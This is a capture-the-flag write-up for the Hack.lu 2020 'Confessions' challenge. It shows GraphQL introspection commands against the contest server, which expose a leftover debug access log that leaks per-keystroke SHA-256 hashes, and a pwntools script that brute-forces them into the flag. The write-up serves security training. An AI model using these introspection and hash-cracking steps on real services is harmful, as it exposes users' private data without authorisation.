Logo

Confessions - Hack.lu 2020 Writeups

3 minute read Published:

Writeup for Confessions challenge of Hack.lu CTF 2020

Confessions

Description

Someone confessed their dirtiest secret on this new website: https://confessions.flu.xxx Can you find out what it is?

Write-Up

After some basic poking around and seeing what the website does we find that pretty much the whole thing is done by javascript calling a GraphQL backend. It seems the /graphql backend allows pretty much arbitrary queries, so let’s see what we can pull out of there.

Using an adapted query from https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection we can get a dump of all the types and queries.

echo '{"operationName":null,"query":"{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}"}' | http POST https://confessions.flu.xxx/graphql "Cookie: session=s%3ANG7vfsHx-PxMQEvofDqvHRlXdDaw_epa.J2%2F1vXUmzYJO3wgDl81DsPZx1OphmsHrPUubDzKn4Hk

It’s a little hard to read the request, but essentially it’s just the example query from the github repo stuffed into a query we captured from the Firefox developer console requests tab.

After poking through the output for a while we find a query named accessLog with the description “Show the resolver access log. TODO: remove before production release”. That seems interesting!

After some more poking around in our output we can find that it takes no parameters and that it has three fields; timestamp, name, and args. A little while later we have a working request to use this function:

echo '{"operationName":null,"query":"{ accessLog { timestamp, name, args } }"}' | http POST https://confessions.flu.xxx/graphql "Cookie: session=s%3ANG7vfsHx-PxMQEvofDqvHRlXdDaw_epa.J2%2F1vXUmzYJO3wgDl81DsPZx1OphmsHrPUubDzKn4Hk"

There’s quite a bit of data returned. A bunch of requests made for a secret with the title “Flag”, and the hashes. But crucially the “message” field is set to null. There are however a noticably large number of requests made to store this “Flag” secret, each one second apart and 28 requests in total. At first we thought each secret might have one character of the flag in it, and since we do get a sha256 hash, brute-forcing one char of sha256 does not seem too hard.

However we quickly found that the first hash was f, the second fl, the third fla etc. In retrospect this makes sense at the secret is getting updated every time the user types a new character into the text field. However our attack is much the same as we can still brute force the sha256 hashes one character at a time, we just need to prefix the previously found characters.

We used python pwntools to do a quick little brute force script and figure out the flag:

from pwn import *

hashes = [
"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111",
"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6",
"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83",
"807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87",
"0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37",
"9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48",
"95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81",
"62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75",
"5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77",
"52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76",
"7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53",
"532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37",
"a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1",
"1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1",
"1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3",
"0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7",
"0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b",
"c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9",
"d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0",
"fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1",
"70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89",
"26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad",
"c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d",
"eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d",
"c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468",
"ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d",
"07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9",
"5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"
]

res = ""

for h in hashes:
  res = res + pwnlib.util.iters.bruteforce(lambda x: pwnlib.util.hashes.sha256sumhex((str(res) + x).encode('utf-8')) == h, string.printable, length=2)

print(res)

And in no time at all the flag is spit out for us!

$ python solve.py
[+] Bruteforcing: Found key: "f"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "a"
[+] Bruteforcing: Found key: "g"
[+] Bruteforcing: Found key: "{"
[+] Bruteforcing: Found key: "b"
[+] Bruteforcing: Found key: "u"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "p"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "s"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "d"
[+] Bruteforcing: Found key: "0"
[+] Bruteforcing: Found key: "n"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "3"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "a"
[+] Bruteforcing: Found key: "n"
[+] Bruteforcing: Found key: "y"
[+] Bruteforcing: Found key: "1"
[+] Bruteforcing: Found key: "}"
flag{but_pls_d0nt_t3ll_any1}